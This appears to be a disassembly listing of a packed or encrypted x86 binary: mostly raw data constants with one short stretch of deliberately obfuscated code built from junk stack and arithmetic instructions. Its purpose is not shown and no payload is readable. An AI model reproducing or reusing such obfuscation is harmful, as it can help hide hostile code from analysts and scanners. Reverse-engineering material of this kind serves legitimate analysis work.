		dd 24FEE909h, 0DD68FFFAh, 0E9093B5Dh, 0FFFA24F4h, 3B5EAE68h
		dd 24EAE909h, 0F95BFFFAh, 2439BFDCh, 718E0BDh, 0E77F019Ah
		dd 3E37A9F2h, 4039029Bh, 554653CAh, 900D88A3h, 544956C8h
		dd 9607908Ch, 0FEC4DAB2h, 0FA12FAE8h, 45DBE5E9h, 0DF179958h
		dd 13D140h, 47020000h, 0D143AE2Bh, 8557445Dh, 1C364143h
		dd 0BBE0FD73h, 0D39B2E18h, 2FB1405Dh, 48D70DC1h, 0AC150342h
		dd 9739C72Ah, 58130141h, 0A7E6E7CDh, 0C39284F9h, 44AD21FBh
		dd 1F58470h, 2455Ah, 0D493900h,	0CD01D9ECh, 3552417h, 8E8E1015h
		dd 0E3CEDDB0h, 0AB6336CEh, 91927D23h, 4E7047E7h, 0AE32C1D6h
		dd 0DB169846h, 819D4550h, 9957D918h, 0CE675935h, 995845DBh
		dd 961AD917h, 893ED05Eh, 2CB250DFh, 95021EA0h, 0A1DC5008h
		dd 1F76B903h, 0C52BAD4Fh, 0B6C05621h, 0F2DC87B6h, 4C4h
		dd 0A5F6D381h, 0FAA33E33h, 0AFECE986h, 0F3A83129h, 0B8E5F46Dh
		dd 65FC8EFBh, 0BAB12774h, 64FA7E1Fh, 0BEB22677h, 0F8D47C21h
		dd 0FAE7E0EAh, 4C7D412h, 43AE2B47h, 2B45EDB8h, 2FC143AEh
		dd 48EA019Fh, 0D8FE1503h, 4A57CAF4h, 36565C82h,	4C521301h
		dd 0E1DBD3A8h, 2FA15049h, 0AA4AA431h, 0A2F51A32h, 973050BCh
		dd 10DE1F6Dh, 8CB010BCh, 798EC340h, 0DE4DE313h,	0DA0BCD6Eh
		dd 0C97A48D4h, 0BD84AB09h, 52B905h, 0EF11308Ch,	38E6673h
		dd 0CC12B6B0h, 839922E6h, 9C26BCE2h, 98839922h,	98F4D816h
		dd 6B8B0826h, 66234AD5h, 2846B87Ch, 30C448ABh, 10705C82h
		dd 0B9DDFDB2h, 57D61EF2h, 0AD21F9CCh, 65DD21F7h, 0FBD3D583h
		dd 84706901h, 2B4AE6D8h, 1A7B415Fh, 696F83A6h, 0A61A517Bh
		dd 4DA34583h, 0B948850h, 301BFADBh, 5640E382h, 3D4h, 9506A391h
		dd 4A534EE3h, 9FFC9996h, 435841D9h, 6835A4BDh, 352CDEABh
		dd 0EA81F7A4h, 342AAEEFh, 0EE82F6A7h, 0C804ACF1h, 0FAE6B01Ah
		dd 0D4F7A412h, 6772EB15h, 56B8088Ch, 0BFB48941h, 2F43BD39h
		dd 0C32EABC2h, 0B744AF41h, 0A9834ECh, 1502BECFh, 65120DAFh
		dd 0BE753Fh, 816F7113h,	8419BF75h, 0C8D6D0E3h, 1300BF02h
		dd 259F3C32h, 2D616D83h, 0BE794361h, 6B6D1300h,	9856F58Bh
		dd 9C420BD7h, 5928E30h,	9E3B37C9h, 63FF8156h, 0A5F07B76h
		dd 44C3E1EDh, 0B814F47Fh, 0B595AE36h, 6908F2DBh, 32F81h
		dd 694EEC00h, 28B1AC34h, 6772ED73h, 2DAAC236h, 6871E870h
		dd 77136833h, 3EC2DBFEh, 75EBB025h, 3BBDDEFBh, 0EFE1BA27h
		dd 0E5BB019Fh, 1EAF12FAh, 0AE2B479Dh, 35EDB843h, 6B200B99h
		dd 0E2D41503h, 4D772D4Ch, 49130118h, 0F6A749A7h, 1980Ch
		dd 10493D00h, 90E6A8D8h, 0F8669719h, 865E69FCh,	76468246h
		dd 2122B8F7h, 5E647EB2h, 5A1C3614h, 1F12A054h, 15150328h
		dd 53B58B93h, 0EADFD57Bh, 19C707DFh, 18F9870Ah,	7E09E8EEh
		dd 455B732Bh, 1FD15DD3h, 0B34D8127h, 77922BFh, 43766E6Bh
		dd 5AE5A495h, 286EFD7h,	11430000h, 0FC71E7B4h, 2F40B8E5h
		dd 0FF77E9B2h, 263FC1DAh, 5831EAB3h, 7D1EBBB2h,	287560FBh
		dd 7C21BEB0h, 2E6F6804h, 268C527Ah, 2212FAE4h, 2B475271h
		dd 0EDB843AEh, 0F00B9935h, 4150348h, 0B915B9E2h, 136A12Bh
		dd 0E3139513h, 6919CF6Bh, 0D10F5FBCh, 1300FDEBh, 0E509B9DFh
		dd 17AA4A0Dh, 0D4F8D48Ch, 0CE6677ECh, 0DD0740B2h, 1300DFD7h
		dd 8529CDD3h, 0CDF2CC5Fh, 5AD6E80Bh, 0D56BB33Dh, 92D735CCh
		dd 4C80586Bh, 21B68396h, 846F7186h, 0D8F4ACF7h,	0C4584DE6h
		dd 5A9418DBh, 5EB0EE9Ah, 928D39AEh, 0D60CC00Ch,	8D4951ECh
		dd 8A2EC6E8h, 68FF7E3Eh, 0E152AE2Ah, 4A35F9C3h,	5EBED8Dh
		dd 6C7B3DBDh, 1CD8435Bh, 8C118EA2h, 0A73F58D4h,	788C9468h
		dd 0ADC4AE35h, 6A000001h, 2EB2EBC8h, 83F5A633h,	34ACF1ECh
		dd 7E029B3Ch, 0F2A9F2E7h, 6178F199h, 2AAFC43Ch,	6471EF71h
		dd 34ADC137h, 0D70DC167h, 12FAE4EDh, 4717BCE9h,	0B843AE2Bh
		dd 0E99935EDh, 9C3A1D07h, 0A70DD35Ah, 0A31C35BDh, 5703F3FDh
		dd 2D99249h, 0C7126615h, 34270A6Bh, 22666688h, 0A2367Ch
		dd 0E4F16E13h, 5F3CB8DEh, 2BB9156Ch, 1C3641A1h,	50E31395h
		dd 8F356B45h, 8B1C3641h, 14DFFA75h, 3C905E90h, 0D1A89A6h
		dd 0C905AB15h, 599D3837h, 8A170BB5h, 0C6D34F11h, 3D15A02Bh
		dd 0C1E85391h, 0BADC0BD1h, 6B74E812h, 0E9827C32h, 738305ECh
		dd 507C65F9h, 933E3C70h, 0AF47C0BAh, 3810A330h,	0FA9B4E94h
		dd 97191502h, 0D53A564Fh, 0F2DC87F2h, 0DCh, 7D1EBB99h
		dd 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h, 5DD4B6C3h
		dd 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h, 0FAE3D8E2h
		dd 0FCBFCC12h, 6B76EB15h, 0F6FE9B95h, 4C80586Bh, 47FB1074h
		dd 61954714h, 0BF1227BDh, 7C22150Ch, 21B6AE50h,	46DA4ED5h
		dd 0A0BC4459h, 47AA2F47h, 38C82BC5h, 541850F9h,	18DBC65Bh
		dd 0E40F88A4h, 301AA03Eh, 880ED3D8h, 1E3B297Ah,	0D8303A80h
		dd 46A82ED3h, 996C58C5h, 0F97F1C85h, 3757C65h, 11836E6Bh
		dd 0C1718019h, 63C9FCA6h, 3A32CC94h, 64C1569Dh,	670F7570h
		dd 38BCDD55h, 0E2DCF9EBh, 37A94D4Ah, 7BFD9E3Bh,	40FCCCE7h
		dd 0A12B504Bh, 0BEFEA44Fh, 0E4DDD98Eh, 9585719Eh, 10h
		dd 2BB915F6h, 1C3641A1h, 7F455CD1h, 682B9D59h, 41B01547h
		dd 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h
		dd 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 1D49685Dh,	3C890000h
		dd 65F76824h, 14890000h, 24086824h, 2C890000h, 4EC8324h
		dd 0B8240489h, 93B59ECh, 5458C289h, 83242C8Bh, 575304C4h
		dd 0FB89D789h, 85D895Fh, 2434FF5Bh, 4C4815Dh, 0FF000000h
		dd 815A2434h, 4C4h, 1ED6E900h, 0EAD1FFFAh, 49EE3D7Fh, 88CFF61Ch
		dd 0A84299AFh, 3B5FAFB8h, 0FFC50309h, 0F0F9F6E0h, 9DCE953Eh
		dd 3679A10Dh, 0A6473B75h, 0A3B6BC60h, 6522CF1Ch, 0D1B8FE06h
		dd 0EC1E6D44h, 0E32A4A15h, 0F816C120h, 25CA166Dh, 340AB138h
		dd 4840EC1Dh, 41334E5Ch, 2CCBA856h, 50221335h, 1127B562h
		dd 0B9B1891Dh, 0DD96A222h, 0EE81Ah, 0A8600000h,	4E382E5h
		dd 0BE97E67Eh, 0D68F330Eh, 14E9h, 0E0C32100h, 0BC4EB95h
		dd 469F9982h, 73040624h, 0A21847Ah, 0C7815F75h,	5FECh
		dd 18B0Fh, 0B8F80000h, 17C2h, 6037FFFCh, 7E9h, 608BC300h
		dd 8490737Ah, 890F5961h, 3, 81F38B66h, 0E186A1F1h, 32F18158h
		dd 6617C24Eh, 81CA26BBh, 0A3A926E9h, 48C0F10h, 66000000h
		dd 510D78BEh, 6E8h, 1F4E0D00h, 0F8F5294h, 28Eh,	5B616000h
		dd 14E9078Fh, 0B3000000h, 0BC12739Ch, 982CF574h, 0BDACE78Bh
		dd 0E46FE55Fh, 81CC5063h, 0F3E249EFh, 2870F22h,	0B7000000h
		dd 45C78109h, 8322F3E2h, 850F01E8h, 0Ch, 1FE9B0B3h, 0A000000h
		dd 38FEA05Eh, 860Fh, 62E90000h,	0C3FFFFFFh, 0EE29ACD3h
		dd 0AC2A32FDh, 9CAD6136h, 8EBF425h, 0
		dd 217FBC3Bh, 4BCE9h, 62806800h, 6DE9093Bh, 68FFFA1Dh
		dd 93B62E8h, 0FA1D63E9h, 641668FFh, 59E9093Bh, 0CAFFFA1Dh
		dd 8E524B68h, 0E3950693h, 944C514Ch, 0DEA2FB9Ch, 52495247h
		dd 0C1D85139h, 8A0F24DCh, 0C4D14F11h, 940D21D7h, 376D2107h
		dd 12FAE08Dh, 47775C89h, 6723AB2Eh, 24BEDB55h, 1C36419Eh
		dd 61E0149Ah, 852E43BDh, 0E10463B5h, 45AC42E8h,	0A5B933C3h
		dd 35805F3Ch, 0DE4F56Dh, 0D41A879Bh, 5CE0EAF8h,	0D2D41C35h
		dd 8FF2B01Ch, 8F15027Ch, 10E3F66Dh, 0DD14859Ch,	0B361955Bh
		dd 0E5E1A12Dh, 0F9AE0C48h, 7960F907h, 6066F67Dh, 21130068h
		dd 96F7D0C4h, 0D19285D2h, 2B2h,	0E70A4902h, 7F1814DCh
		dd 0F4475D71h, 150354h,	75A03EDEh, 0AED81E0Ch, 0C2DF531Bh
		dd 8302A02Ch, 7920B2DBh, 127DBB49h, 0D120E6CCh,	4BCE21Eh
		dd 0CE2044C3h, 5C29BEFEh, 3484A780h, 0E3B641C0h, 33FDA32Bh
		dd 47179D9Bh, 9F932DA1h, 6F821F12h, 0E69A03EDh,	4F752B4Ah
		dd 4B27E55Ah, 0D59B4BA5h, 0C8DDF0E4h, 2D64129h,	95C70000h
		dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh
		dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh
		dd 0EE12FADFh, 9B2EDEDDh, 21D50BC3h, 9F150D23h,	0F4ADCDFh
		dd 0C1354FC4h, 0BF418D13h, 219B33A6h, 0DC60930Eh, 0A4BD4318h
		dd 592EBE35h, 0D7DA8DFAh, 18A63E5Bh, 0C5E0643Ah, 26E341Eh
		dd 0FD5F0000h, 203DC3D8h, 31CE4B9h, 0DB530596h,	21BDDBEh
		dd 7C0D0697h, 9902978Eh, 54494CE7h, 9805928Ch, 4A534CE0h
		dd 52782666h, 4612FADFh, 9B2E3695h, 21D50BC3h, 9F150D23h
		dd 5F97021Dh, 34C42FB1h, 12FAE092h, 0ED817B53h,	7B7BFDF4h
		dd 0F01D3E26h, 77928B5Eh, 186h,	73EB1558h, 18DBF876h, 209A5A94h
		dd 0BA60930Ch, 3DB42D40h, 0ADC13BBBh, 0CDD86734h, 442BB915h
		dd 38150364h, 0BAD3BB6h, 0CC13011Ch, 1A6E6B59h,	0D0128FA0h
		dd 13011BEAh, 4956C8DEh, 5EAF4FA7h, 9928523h, 25h, 0C39B2ECAh
		dd 724AD50Bh, 28AE1503h, 11953BC9h, 0CF561301h,	46DEE0E5h
		dd 0D0FDA551h, 97928529h, 0A1h,	0AE2B47F8h, 0F5DF9F43h
		dd 0DCF97600h, 762F9315h, 79F30332h, 0EDD5F9E0h, 0B78D193Ah
		dd 2DB44011h, 0B73AA7BBh, 0EBB02945h, 35852959h, 4C55C91Ch
		dd 3227574Fh, 0CD73892Dh, 5A6DF8FCh, 0BFB04A82h, 7826D222h
		dd 1501B1F1h, 1CD01A7h,	0FE51D9E3h, 2BCBCD12h, 0F5E47D7Fh
		dd 0A03930A8h, 0D7EDB844h, 947E25F2h, 140h, 0F5A60331h
		dd 0AAF3EE83h, 0FF9C3936h, 0A3F8E179h, 485544DDh, 0D54C3E4Bh
		dd 0A21D7C4h, 0D44A0E8Fh, 0E22D6C7h, 68240C91h,	0FADD903Ah
		dd 74578412h, 0F2AB2E47h, 0B8E5F26Eh, 0AE2B4713h, 445DD143h
		dd 653D8857h, 879B2569h, 6D55D71Ah, 92C9077Eh, 45DB1BAAh
		dd 1502E881h, 2F5B7375h, 0DD07928Dh, 1300D8D7h,	8529CDD3h
		dd 0D7F7E27Bh, 702E49E5h, 1300D84Ah, 9B56983Eh,	4600DD19h
		dd 0E11FB8B4h, 0FA55148h, 1300D8A9h, 3F5C45D9h,	9539A0B9h
		dd 0EFA4982Dh, 3DB98C40h, 26BC10B6h, 13006A9Ch,	0F6DE1698h
		dd 98h,	0E9D76A52h, 56B5D92Ah, 9B2EFF9Eh, 7FF10BC3h, 4118A240h
		dd 8A0C1C36h, 0A0EC9064h, 476AE8E0h, 10E4B087h,	0C346682h
		dd 99587E15h, 0D8E0B27h, 27CAD74Bh, 37087899h, 1881982Bh
		dd 0C9CC67D9h, 0D1E782Ah, 70D7EF41h, 98534192h,	7702F273h
		dd 3BBDDEFBh, 0B612BA27h, 0B6E6CC12h, 0BCE2FAB6h, 0B6B69C26h
		dd 3E5BD4FAh, 0D9331B3h, 7EF66AE9h, 0B269A59h, 0B8B3638Eh
		dd 0C94DDB52h, 0BB2438C6h, 967EA338h, 7064B1D3h, 0ABF0E985h
		dd 51A03935h, 369h, 844FAA00h, 41B01547h, 0AB4653CFh, 37BA2739h
		dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
		dd 2AC9D04Dh
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	0C1Ch
		mov	[esp], edx
		push	edx
		mov	edx, 480B02E4h
		push	ebx
		mov	ebx, 74B43F9h
		dec	ebx
		xor	ebx, 1321BA2h
		shl	ebx, 4
		sub	ebx, 0A6652707h
		mov	edi, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		sub	eax, 21F654BDh
		add	eax, edx
		add	eax, 21F654BDh
		mov	[eax], edi
		pop	eax
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dd 657BB894h, 0C503093Bh, 114BE0FFh, 0BA800F83h, 4FF659F6h
		dd 104B363Dh, 576D7657h, 35556FA4h, 0B6AE0A7Fh,	0D95A262Fh
		dd 0AAAD46B0h, 0E7C72E39h, 745A611Bh, 9B9C5953h, 0E5685055h
		dd 97E61D2Ch, 2294CB2h,	8490753Dh, 53BA01F6h, 3D1A7619h
		dd 0BDFA5F2Ah, 0D334080Fh, 8D8D5354h, 93B6796h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h, 0B8502F60h
		dd 7D24D3FBh, 7F94DA81h, 8D8901B7h, 9351629h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 78C35545h, 9E4CFF5Ch
		dd 7A6422E9h, 0D0E88166h, 0DB58B68h, 0C7093523h, 35287D85h
		dd 73F409h, 85858B00h, 0E9093528h, 0Dh,	77C700ABh, 73B01335h
		dd 6B61CC66h, 5585C782h, 93522h, 0E9000000h, 12h, 0CA6D7E2Dh
		dd 13E9819Fh, 4EEBC7E4h, 0BF724BEDh, 0D881AE6Ah, 7D13FB42h
		dd 0D45B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 747E22C3h, 14A014FFh, 1EC19A3h
		dd 352CD59Dh, 0CE809h, 56330000h, 0D9CB338Ah, 0BC5B35CFh
		dd 8589556Fh, 9352975h,	595FF5Fh, 6A09350Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0EFB8C355h, 0FF006AEEh, 35082995h, 0EBC08B09h, 1F68BB6Ah
		dd 0B3BE820Eh, 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh
		dd 2D8A596h, 1336DECAh,	34AC908Bh, 352AF542h, 0E9C51D48h
		dd 3A754D3Fh, 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh
		dd 14CF82Ah, 7EE82B4Eh,	0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh
		dd 0E050A7CEh, 0FD744458h, 0D18B1270h, 74A2B0DCh, 0AC6505C3h
		dd 53BD4EBBh, 5DB13EE8h, 0ACEC3256h, 55EC065Eh,	0ABB13256h
		dd 0D5B13256h, 0EAE84718h, 75EB86A6h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13254h, 57B93581h
		dd 0ABB63254h, 0D5973259h, 0E9EB3271h, 77D03256h, 0B8D03256h
		dd 3DE3F27Dh, 0BA586A04h, 3BB13256h, 0F38AF863h, 0D1A6A4E7h
		dd 9A0210BBh, 0E9BE5CBFh, 0DB9A48F3h, 0FE10359h, 0AEB135BFh
		dd 0E119156h, 0BE7DCD48h, 0B4D10359h, 0B2EB6A0Ch, 75B8DB06h
		dd 387C3256h, 9378E2C5h, 3834CEB9h, 8E913256h, 3EFD4DC8h
		dd 330A9FCh, 0F2C9D820h, 75B13EBFh, 0B8FCD656h,	13F86245h
		dd 0F4B44E39h, 0C4D0AFDDh, 0A7580359h, 61B13256h, 0CA92608Bh
		dd 39CEAC8Fh, 0E02A98C3h, 8BDA20Eh, 7F49693Ch, 5A150560h
		dd 0A2A1E194h, 108D1D58h, 32C794Ch, 75B1325Dh, 0C8CCE671h
		dd 0E3C87295h, 0CF845E49h, 0D216A0Ch, 4C176ADDh, 56830FC2h
		dd 0B2EB53CBh, 75BADBC6h, 0AED63256h, 0DDB280EBh, 2EECCEFh
		dd 0DE96823h, 69BC6A0Eh, 0DBB82285h, 8B740E79h,	31386A0Ch
		dd 0BC583672h, 0BBB13256h, 0DCCCE671h, 57B16A95h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B1DA36h, 3BEB3256h, 66DBF6BCh, 2E34BF5Fh, 0DEB808D9h
		dd 90D928D4h, 0F733BF5Fh, 63B80999h, 4ED92CD4h,	0B3FFDA5Fh
		dd 26593256h, 69B13256h, 6CD938D4h, 0ABB1325Fh,	50776056h
		dd 0E38425CBh, 0CDE35A00h, 0F4EAEFEh, 5484242Bh, 0D5C1B7DBh
		dd 874E3B6Eh, 0AFE0B7DFh, 0D1DB3B63h, 0EAA1323Eh, 78F15A56h
		dd 0BADB3255h, 56EBE2A9h, 27824696h, 6CD938D4h,	0A533BB5Fh
		dd 6CB8093Eh, 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h
		dd 0AED93256h, 3DB13252h, 0FA23CD56h, 8FB80752h, 82EFB0DFh
		dd 0FED03B6Dh, 81D938D3h, 9AD1F15Fh, 9BBDA3D4h,	17B1325Fh
		dd 7A33F556h, 0D5B80779h, 8BB13246h, 0CF3A5295h, 0B38A5A5Ch
		dd 29B10DD5h, 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h
		dd 0AD76D8BDh, 75B13346h, 7D43D956h, 5DB22211h,	475A3256h
		dd 0DCE4F137h, 0AB5952BAh, 8FB13256h, 8108D8D7h, 0C73A3B6Dh
		dd 0B38A5A34h, 0D4B977DDh, 0CC33B150h, 53B8093Eh, 0AF73FB37h
		dd 0D5595256h, 0B0B13256h, 1E6CD8D7h, 83A3B6Dh,	548A5A08h
		dd 0C6D3806Dh, 6CC53B6Dh, 743A0CDDh, 0D4FE8459h, 6AB075A0h
		dd 0ACB23623h, 639A30BDh, 0D83A7115h, 0A7841973h, 673CBFDDh
		dd 738A3B63h, 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h
		dd 6881BFEBh, 0CF06D95Fh, 57595295h, 0F1B13256h, 0B984D8D7h
		dd 503A3B6Dh, 7C8A5A08h, 0BAB032EFh, 0AE710156h, 0F033B9FDh
		dd 0DEB8093Eh, 90D950D4h, 0B572535Fh, 0EAB132BEh, 9F306856h
		dd 0B38A5E09h, 4A2CB790h, 0C6E73B63h, 83AE5F6Fh, 0BDCC87A9h
		dd 503C3B63h, 0E3894926h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h
		dd 95D938E4h, 0F61CD5Fh, 2BB15A0Ch, 0D5DB3256h,	82EF80A9h
		dd 0A54E3B6Dh, 31E4F137h, 5D5952BAh, 0F4B13256h, 3B1CD8D7h
		dd 0DE3A3B6Dh, 0D729DA5Eh, 15E43256h, 4ED928C4h, 0CF8A6F5Fh
		dd 0B55F475Ah, 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h
		dd 0EA596101h, 2FB13256h, 0D650D8D7h, 283A3B6Dh, 0BECCB95Eh
		dd 60596401h, 0A0B13256h, 5E904696h, 784E67AEh,	7C8A5A4Ch
		dd 0B6C4090Bh, 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h
		dd 15A3256h, 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h
		dd 25E4325Ah, 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h
		dd 4ED978D4h, 0BAB1335Fh, 55C4B956h, 25AFB930h,	6CD938ECh
		dd 0A3EEB95Fh, 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h
		dd 3B5BD942h, 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh
		dd 0EAB13293h, 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h
		dd 0AC313256h, 31353DB5h, 0B3B13256h, 9D6C9D7h,	7529B659h
		dd 5D313256h, 0A63054A6h, 2ABEB259h, 57B132C7h,	2B41D1D6h
		dd 51BE42ADh, 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh
		dd 93C53768h, 239C0CD6h, 0C38FB26Eh, 574E0122h,	0E38A5A1Ch
		dd 0F5AFB930h, 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h
		dd 6B30C9D7h, 80D12122h, 82ABA0A9h, 0FCEC3B6Dh,	39D0CE13h
		dd 28B0CE2Bh, 3F0BB935h, 7B8075Ah, 0C3FBB0DDh, 0E9883B6Dh
		dd 0BAC36A66h, 5A6088DDh, 31E13B63h, 66D978D4h,	9E8D0B5Fh
		dd 0BC8C4D0Eh, 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh
		dd 0B00BB956h, 0D6B8093Eh, 0DA6A3949h, 226F0949h, 0A7ECB959h
		dd 0D5494FD5h, 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h
		dd 0AEB13296h, 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h
		dd 9EA74626h, 53B6F464h, 5DB07591h, 25B13256h, 5271B191h
		dd 0ABB1A5BFh, 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh
		dd 5FF6F557h, 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h
		dd 0D4313D22h, 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h
		dd 3133BF09h, 0FBB8093Eh, 0CB23CD00h, 0E1B8093Eh, 0FEBB4696h
		dd 0DC03BF9Eh, 0B6B8093Eh, 603A6446h, 4D23CD03h, 0F6B8093Eh
		dd 0C46FC7Dh, 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h
		dd 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh
		dd 13353DEEh, 0FC073DFDh, 5F5A9957h, 693A96A5h,	8EF6B0Dh
		dd 0ABB9F09Fh, 0B55DB903h, 0EAB132BEh, 9F306856h, 0B38A5D69h
		dd 0D4B977DDh, 95D920D4h, 9578535Fh, 20E43252h,	2D75B1BAh
		dd 0EAB1DA36h, 0F4EB3256h, 81DE52BCh, 0A5F4F55Fh, 0AEB13256h
		dd 574D7791h, 98B13256h, 0CB3A5496h, 82FBB091h,	75B03B6Dh
		dd 3BD73256h, 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h
		dd 51BEDBADh, 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h
		dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 14333156h,	0AAB80752h
		dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h
		dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h
		dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h,	0F88FB214h
		dd 0D4310F22h, 3589463Eh, 0D2FBB0A9h, 0D6D73B6Dh, 5656B248h
		dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h
		dd 284E6736h, 548A5A4Ch, 52F4BB0Bh, 0ABCCB137h,	83343D57h
		dd 5EB13257h, 0DFBDA3ECh, 0F73A625Fh, 0B38A5A1Ch, 5810E6Fh
		dd 0AFA0B059h, 0ED3A3256h, 0A2841D87h, 9F33B906h, 0D3B8093Eh
		dd 7AE9026Ah, 0BAB1C8D9h, 530BB956h, 2DB8093Eh,	6CD93CD4h
		dd 9C38265Fh, 85A175DFh, 82FBB0DDh, 693A3B6Dh, 0E5386A66h
		dd 5D64DB5Eh, 0EB763256h, 57B130AEh, 6CB6D956h,	0D5B0CA13h
		dd 503A3256h, 7C8A5A58h, 0D2BFB0D5h, 0D4A53B6Dh, 0BEF6BB61h
		dd 22B2CAD5h, 0E133F55Ah, 0D7B8093Eh, 1B13256h,	7749B153h
		dd 0C7326D2Bh, 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h
		dd 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 35FBA8DDh
		dd 0AA3A3B6Dh, 57186965h, 0DE313256h, 56773142h, 68B23796h
		dd 7C8A5A1Ch, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h
		dd 29B23796h, 0DC8A5A1Ch, 0E2F6BB1Eh, 9EBD75DFh, 30710168h
		dd 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh
		dd 7967A8DCh, 96313B6Ch, 33723157h, 1A383A11h, 59A5D95Ah
		dd 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h,	8DBD75DFh
		dd 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h, 0DAC0D8D7h
		dd 6F3A3B6Dh, 0E38A5A5Ch, 4A32FB65h, 78353D56h,	0D6B13256h
		dd 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h,	85A2691h
		dd 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h
		dd 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h
